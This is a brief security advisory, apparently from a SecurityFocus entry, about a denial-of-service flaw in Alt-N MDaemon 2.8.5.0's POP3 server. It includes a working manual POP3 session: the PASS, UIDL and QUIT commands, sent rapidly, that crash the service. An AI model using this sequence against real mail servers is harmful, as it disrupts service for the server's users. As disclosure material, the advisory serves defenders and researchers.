source: http://www.securityfocus.com/bid/1366/info A remote user is capable of crashing Alt-N MDaemon 2.8.5.0 by executing the pass command, then the UIDL command and quitting the mail server before the UIDL has returned a response. This must be done before the user is presented with the POP3 login banner. Restarting the application is required in order to regain normal functionality. Perform the following very quickly: +OK <target> POP service ready using MDaemon v2.8.5.0 T User <username> +OK <username>... Recipient ok pass <password> -ERR that command is valid only in the AUTHORIZATION state! uidl -ERR unknown POP command! quit +OK . quit +OK <username> <target> POP Server signing off (mailbox empty)